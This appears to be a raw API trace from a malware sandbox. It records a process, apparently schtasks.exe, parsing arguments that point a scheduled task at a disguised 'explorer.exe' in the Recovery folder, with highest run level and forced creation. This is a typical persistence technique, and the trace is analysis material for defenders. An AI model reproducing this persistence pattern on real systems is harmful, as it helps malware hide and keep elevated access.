SetLastError (dwErrCode=0x490) [0139.180] SetLastError (dwErrCode=0x490) [0139.180] SetLastError (dwErrCode=0x0) [0139.180] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0139.181] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'" [0139.181] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0139.181] GetProcessHeap () returned 0x1e0000 [0139.181] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fc360 [0139.181] _memicmp (_Buf1=0x1fc360, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.181] GetProcessHeap () returned 0x1e0000 [0139.181] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xe) returned 0x1fc380 [0139.181] GetProcessHeap () returned 0x1e0000 [0139.181] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fd510 [0139.181] _memicmp (_Buf1=0x1fd510, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.181] GetProcessHeap () returned 0x1e0000 [0139.181] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x82) returned 0x1fdce0 [0139.181] SetLastError (dwErrCode=0x7a) [0139.181] SetLastError (dwErrCode=0x0) [0139.181] SetLastError (dwErrCode=0x0) [0139.181] lstrlenW (lpString="'C") returned 2 [0139.181] lstrlenW (lpString="-/") returned 2 [0139.181] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0139.181] SetLastError (dwErrCode=0x490) [0139.181] SetLastError (dwErrCode=0x490) [0139.181] SetLastError (dwErrCode=0x0) [0139.181] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0139.181] GetProcessHeap () returned 0x1e0000 [0139.181] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x80) returned 0x1fdd70 [0139.181] GetProcessHeap () returned 0x1e0000 [0139.181] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcd70 [0139.181] SetLastError (dwErrCode=0x0) [0139.181] SetLastError (dwErrCode=0x0) [0139.181] lstrlenW (lpString="/rl") returned 3 [0139.181] lstrlenW (lpString="-/") returned 2 [0139.181] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0139.181] lstrlenW (lpString="?") returned 1 [0139.182] lstrlenW (lpString="?") returned 1 [0139.182] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.182] lstrlenW (lpString="rl") returned 2 [0139.182] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.182] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|?|") returned 3 [0139.182] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|rl|") returned 4 [0139.182] lstrlenW (lpString="|?|") returned 3 [0139.182] lstrlenW (lpString="|rl|") returned 4 [0139.182] SetLastError (dwErrCode=0x490) [0139.182] lstrlenW (lpString="create") returned 6 [0139.182] lstrlenW (lpString="create") returned 6 [0139.182] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.182] lstrlenW (lpString="rl") returned 2 [0139.182] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.182] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|create|") returned 8 [0139.182] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|rl|") returned 4 [0139.182] lstrlenW (lpString="|create|") returned 8 [0139.182] lstrlenW (lpString="|rl|") returned 4 [0139.182] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0139.182] SetLastError (dwErrCode=0x490) [0139.182] lstrlenW (lpString="delete") returned 6 [0139.182] lstrlenW (lpString="delete") returned 6 [0139.182] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.182] lstrlenW (lpString="rl") returned 2 [0139.182] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.182] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|delete|") returned 8 [0139.182] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|rl|") returned 4 [0139.182] lstrlenW (lpString="|delete|") returned 8 [0139.182] lstrlenW (lpString="|rl|") returned 4 [0139.182] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0139.183] SetLastError (dwErrCode=0x490) [0139.183] lstrlenW (lpString="query") returned 5 [0139.183] lstrlenW (lpString="query") returned 5 [0139.183] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.183] lstrlenW (lpString="rl") returned 2 [0139.183] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.183] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|query|") returned 7 [0139.183] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|rl|") returned 4 [0139.183] lstrlenW (lpString="|query|") returned 7 [0139.183] lstrlenW (lpString="|rl|") returned 4 [0139.183] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0139.183] SetLastError (dwErrCode=0x490) [0139.183] lstrlenW (lpString="change") returned 6 [0139.183] lstrlenW (lpString="change") returned 6 [0139.183] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.183] lstrlenW (lpString="rl") returned 2 [0139.183] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.183] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|change|") returned 8 [0139.183] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|rl|") returned 4 [0139.183] lstrlenW (lpString="|change|") returned 8 [0139.183] lstrlenW (lpString="|rl|") returned 4 [0139.183] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0139.183] SetLastError (dwErrCode=0x490) [0139.183] lstrlenW (lpString="run") returned 3 [0139.183] lstrlenW (lpString="run") returned 3 [0139.183] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.183] lstrlenW (lpString="rl") returned 2 [0139.183] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.183] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|run|") returned 5 [0139.183] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|rl|") returned 4 [0139.183] lstrlenW (lpString="|run|") returned 5 [0139.183] lstrlenW (lpString="|rl|") returned 4 [0139.184] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0139.184] SetLastError (dwErrCode=0x490) [0139.184] lstrlenW (lpString="end") returned 3 [0139.184] lstrlenW (lpString="end") returned 3 [0139.184] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.184] lstrlenW (lpString="rl") returned 2 [0139.184] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.184] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|end|") returned 5 [0139.184] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|rl|") returned 4 [0139.184] lstrlenW (lpString="|end|") returned 5 [0139.184] lstrlenW (lpString="|rl|") returned 4 [0139.184] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0139.184] SetLastError (dwErrCode=0x490) [0139.184] lstrlenW (lpString="showsid") returned 7 [0139.184] lstrlenW (lpString="showsid") returned 7 [0139.184] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.184] lstrlenW (lpString="rl") returned 2 [0139.184] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.184] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|showsid|") returned 9 [0139.184] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|rl|") returned 4 [0139.184] lstrlenW (lpString="|showsid|") returned 9 [0139.184] lstrlenW (lpString="|rl|") returned 4 [0139.184] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0139.184] SetLastError (dwErrCode=0x490) [0139.184] SetLastError (dwErrCode=0x490) [0139.184] SetLastError (dwErrCode=0x0) [0139.184] lstrlenW (lpString="/rl") returned 3 [0139.184] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0139.184] SetLastError (dwErrCode=0x490) [0139.184] SetLastError (dwErrCode=0x0) [0139.184] lstrlenW (lpString="/rl") returned 3 [0139.185] GetProcessHeap () returned 0x1e0000 [0139.185] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x8) returned 0x1fde00 [0139.185] GetProcessHeap () returned 0x1e0000 [0139.185] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcda0 [0139.185] SetLastError (dwErrCode=0x0) [0139.185] SetLastError (dwErrCode=0x0) [0139.185] lstrlenW (lpString="HIGHEST") returned 7 [0139.185] lstrlenW (lpString="-/") returned 2 [0139.185] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0139.185] SetLastError (dwErrCode=0x490) [0139.185] SetLastError (dwErrCode=0x490) [0139.185] SetLastError (dwErrCode=0x0) [0139.185] lstrlenW (lpString="HIGHEST") returned 7 [0139.185] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0139.185] SetLastError (dwErrCode=0x490) [0139.185] SetLastError (dwErrCode=0x0) [0139.185] lstrlenW (lpString="HIGHEST") returned 7 [0139.185] GetProcessHeap () returned 0x1e0000 [0139.185] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x10) returned 0x1fd530 [0139.185] GetProcessHeap () returned 0x1e0000 [0139.185] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcdd0 [0139.185] SetLastError (dwErrCode=0x0) [0139.185] SetLastError (dwErrCode=0x0) [0139.185] lstrlenW (lpString="/f") returned 2 [0139.185] lstrlenW (lpString="-/") returned 2 [0139.185] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0139.185] lstrlenW (lpString="?") returned 1 [0139.185] lstrlenW (lpString="?") returned 1 [0139.185] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.185] lstrlenW (lpString="f") returned 1 [0139.185] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.185] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|?|") returned 3 [0139.185] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|f|") returned 3 [0139.185] lstrlenW (lpString="|?|") returned 3 [0139.185] lstrlenW (lpString="|f|") returned 3 [0139.185] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0139.185] SetLastError (dwErrCode=0x490) [0139.185] lstrlenW (lpString="create") returned 6 [0139.186] lstrlenW (lpString="create") returned 6 [0139.186] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.186] lstrlenW (lpString="f") returned 1 [0139.186] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.186] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|create|") returned 8 [0139.186] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|f|") returned 3 [0139.186] lstrlenW (lpString="|create|") returned 8 [0139.186] lstrlenW (lpString="|f|") returned 3 [0139.186] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0139.186] SetLastError (dwErrCode=0x490) [0139.186] lstrlenW (lpString="delete") returned 6 [0139.186] lstrlenW (lpString="delete") returned 6 [0139.186] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.186] lstrlenW (lpString="f") returned 1 [0139.186] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.186] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|delete|") returned 8 [0139.186] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|f|") returned 3 [0139.186] lstrlenW (lpString="|delete|") returned 8 [0139.186] lstrlenW (lpString="|f|") returned 3 [0139.186] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0139.186] SetLastError (dwErrCode=0x490) [0139.186] lstrlenW (lpString="query") returned 5 [0139.186] lstrlenW (lpString="query") returned 5 [0139.186] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.186] lstrlenW (lpString="f") returned 1 [0139.186] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.186] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|query|") returned 7 [0139.186] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|f|") returned 3 [0139.186] lstrlenW (lpString="|query|") returned 7 [0139.186] lstrlenW (lpString="|f|") returned 3 [0139.186] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0139.187] SetLastError (dwErrCode=0x490) [0139.187] lstrlenW (lpString="change") returned 6 [0139.187] lstrlenW (lpString="change") returned 6 [0139.187] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.187] lstrlenW (lpString="f") returned 1 [0139.187] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.187] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|change|") returned 8 [0139.187] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|f|") returned 3 [0139.187] lstrlenW (lpString="|change|") returned 8 [0139.187] lstrlenW (lpString="|f|") returned 3 [0139.187] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0139.187] SetLastError (dwErrCode=0x490) [0139.187] lstrlenW (lpString="run") returned 3 [0139.187] lstrlenW (lpString="run") returned 3 [0139.187] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.187] lstrlenW (lpString="f") returned 1 [0139.187] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.187] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|run|") returned 5 [0139.187] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|f|") returned 3 [0139.187] lstrlenW (lpString="|run|") returned 5 [0139.187] lstrlenW (lpString="|f|") returned 3 [0139.187] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0139.187] SetLastError (dwErrCode=0x490) [0139.187] lstrlenW (lpString="end") returned 3 [0139.187] lstrlenW (lpString="end") returned 3 [0139.187] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.187] lstrlenW (lpString="f") returned 1 [0139.187] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.187] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|end|") returned 5 [0139.187] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|f|") returned 3 [0139.187] lstrlenW (lpString="|end|") returned 5 [0139.187] lstrlenW (lpString="|f|") returned 3 [0139.188] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0139.188] SetLastError (dwErrCode=0x490) [0139.188] lstrlenW (lpString="showsid") returned 7 [0139.188] lstrlenW (lpString="showsid") returned 7 [0139.188] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.188] lstrlenW (lpString="f") returned 1 [0139.188] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.188] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|showsid|") returned 9 [0139.188] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|f|") returned 3 [0139.188] lstrlenW (lpString="|showsid|") returned 9 [0139.188] lstrlenW (lpString="|f|") returned 3 [0139.188] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0139.188] SetLastError (dwErrCode=0x490) [0139.188] SetLastError (dwErrCode=0x490) [0139.188] SetLastError (dwErrCode=0x0) [0139.188] lstrlenW (lpString="/f") returned 2 [0139.188] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0139.188] SetLastError (dwErrCode=0x490) [0139.188] SetLastError (dwErrCode=0x0) [0139.188] lstrlenW (lpString="/f") returned 2 [0139.188] GetProcessHeap () returned 0x1e0000 [0139.188] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x6) returned 0x1fde20 [0139.188] GetProcessHeap () returned 0x1e0000 [0139.188] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fce00 [0139.188] SetLastError (dwErrCode=0x0) [0139.188] GetProcessHeap () returned 0x1e0000 [0139.188] GetProcessHeap () returned 0x1e0000 [0139.188] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc210) returned 1 [0139.188] GetProcessHeap () returned 0x1e0000 [0139.188] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc210) returned 0x8 [0139.188] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc210 | out: hHeap=0x1e0000) returned 1 [0139.188] GetProcessHeap () returned 0x1e0000 [0139.189] GetProcessHeap () returned 0x1e0000 [0139.189] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcc20) returned 1 [0139.189] GetProcessHeap () returned 0x1e0000 [0139.189] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcc20) returned 0x20 [0139.189] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcc20 | out: hHeap=0x1e0000) returned 1 [0139.189] GetProcessHeap () returned 0x1e0000 [0139.189] GetProcessHeap () returned 0x1e0000 [0139.189] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc2a0) returned 1 [0139.189] GetProcessHeap () returned 0x1e0000 [0139.189] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc2a0) returned 0x14 [0139.189] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc2a0 | out: hHeap=0x1e0000) returned 1 [0139.189] GetProcessHeap () returned 0x1e0000 [0139.189] GetProcessHeap () returned 0x1e0000 [0139.189] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcc50) returned 1 [0139.189] GetProcessHeap () returned 0x1e0000 [0139.189] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcc50) returned 0x20 [0139.190] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcc50 | out: hHeap=0x1e0000) returned 1 [0139.190] GetProcessHeap () returned 0x1e0000 [0139.190] GetProcessHeap () returned 0x1e0000 [0139.190] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc2c0) returned 1 [0139.190] GetProcessHeap () returned 0x1e0000 [0139.190] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc2c0) returned 0x8 [0139.190] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc2c0 | out: hHeap=0x1e0000) returned 1 [0139.190] GetProcessHeap () returned 0x1e0000 [0139.190] GetProcessHeap () returned 0x1e0000 [0139.190] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcc80) returned 1 [0139.190] GetProcessHeap () returned 0x1e0000 [0139.190] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcc80) returned 0x20 [0139.190] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcc80 | out: hHeap=0x1e0000) returned 1 [0139.190] GetProcessHeap () returned 0x1e0000 [0139.190] GetProcessHeap () returned 0x1e0000 [0139.190] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc2e0) returned 1 [0139.190] GetProcessHeap () returned 0x1e0000 [0139.190] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc2e0) returned 0xe [0139.190] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc2e0 | out: hHeap=0x1e0000) returned 1 [0139.190] GetProcessHeap () returned 0x1e0000 [0139.190] GetProcessHeap () returned 0x1e0000 [0139.190] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fccb0) returned 1 [0139.190] GetProcessHeap () returned 0x1e0000 [0139.190] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fccb0) returned 0x20 [0139.191] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fccb0 | out: hHeap=0x1e0000) returned 1 [0139.191] GetProcessHeap () returned 0x1e0000 [0139.191] GetProcessHeap () returned 0x1e0000 [0139.191] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc300) returned 1 [0139.191] GetProcessHeap () returned 0x1e0000 [0139.191] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc300) returned 0x8 [0139.191] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc300 | out: hHeap=0x1e0000) returned 1 [0139.191] GetProcessHeap () returned 0x1e0000 [0139.191] GetProcessHeap () returned 0x1e0000 [0139.191] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcce0) returned 1 [0139.191] GetProcessHeap () returned 0x1e0000 [0139.191] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcce0) returned 0x20 [0139.192] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcce0 | out: hHeap=0x1e0000) returned 1 [0139.192] GetProcessHeap () returned 0x1e0000 [0139.192] GetProcessHeap () returned 0x1e0000 [0139.192] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc320) returned 1 [0139.192] GetProcessHeap () returned 0x1e0000 [0139.192] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc320) returned 0x4 [0139.192] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc320 | out: hHeap=0x1e0000) returned 1 [0139.192] GetProcessHeap () returned 0x1e0000 [0139.192] GetProcessHeap () returned 0x1e0000 [0139.192] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd10) returned 1 [0139.192] GetProcessHeap () returned 0x1e0000 [0139.192] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcd10) returned 0x20 [0139.192] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd10 | out: hHeap=0x1e0000) returned 1 [0139.192] GetProcessHeap () returned 0x1e0000 [0139.192] GetProcessHeap () returned 0x1e0000 [0139.192] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc340) returned 1 [0139.193] GetProcessHeap () returned 0x1e0000 [0139.193] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc340) returned 0x8 [0139.193] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc340 | out: hHeap=0x1e0000) returned 1 [0139.193] GetProcessHeap () returned 0x1e0000 [0139.193] GetProcessHeap () returned 0x1e0000 [0139.193] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd40) returned 1 [0139.193] GetProcessHeap () returned 0x1e0000 [0139.193] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcd40) returned 0x20 [0139.193] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd40 | out: hHeap=0x1e0000) returned 1 [0139.193] GetProcessHeap () returned 0x1e0000 [0139.193] GetProcessHeap () returned 0x1e0000 [0139.193] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fdd70) returned 1 [0139.193] GetProcessHeap () returned 0x1e0000 [0139.193] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fdd70) returned 0x80 [0139.194] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fdd70 | out: hHeap=0x1e0000) returned 1 [0139.194] GetProcessHeap () returned 0x1e0000 [0139.194] GetProcessHeap () returned 0x1e0000 [0139.194] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd70) returned 1 [0139.194] GetProcessHeap () returned 0x1e0000 [0139.194] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcd70) returned 0x20 [0139.194] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd70 | out: hHeap=0x1e0000) returned 1 [0139.194] GetProcessHeap () returned 0x1e0000 [0139.194] GetProcessHeap () returned 0x1e0000 [0139.194] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fde00) returned 1 [0139.194] GetProcessHeap () returned 0x1e0000 [0139.194] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fde00) returned 0x8 [0139.194] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fde00 | out: hHeap=0x1e0000) returned 1 [0139.194] GetProcessHeap () returned 0x1e0000 [0139.194] GetProcessHeap () returned 0x1e0000 [0139.194] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcda0) returned 1 [0139.194] GetProcessHeap () returned 0x1e0000 [0139.194] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcda0) returned 0x20 [0139.195] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcda0 | out: hHeap=0x1e0000) returned 1 [0139.195] GetProcessHeap () returned 0x1e0000 [0139.195] GetProcessHeap () returned 0x1e0000 [0139.195] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd530) returned 1 [0139.195] GetProcessHeap () returned 0x1e0000 [0139.195] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd530) returned 0x10 [0139.195] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd530 | out: hHeap=0x1e0000) returned 1 [0139.195] GetProcessHeap () returned 0x1e0000 [0139.195] 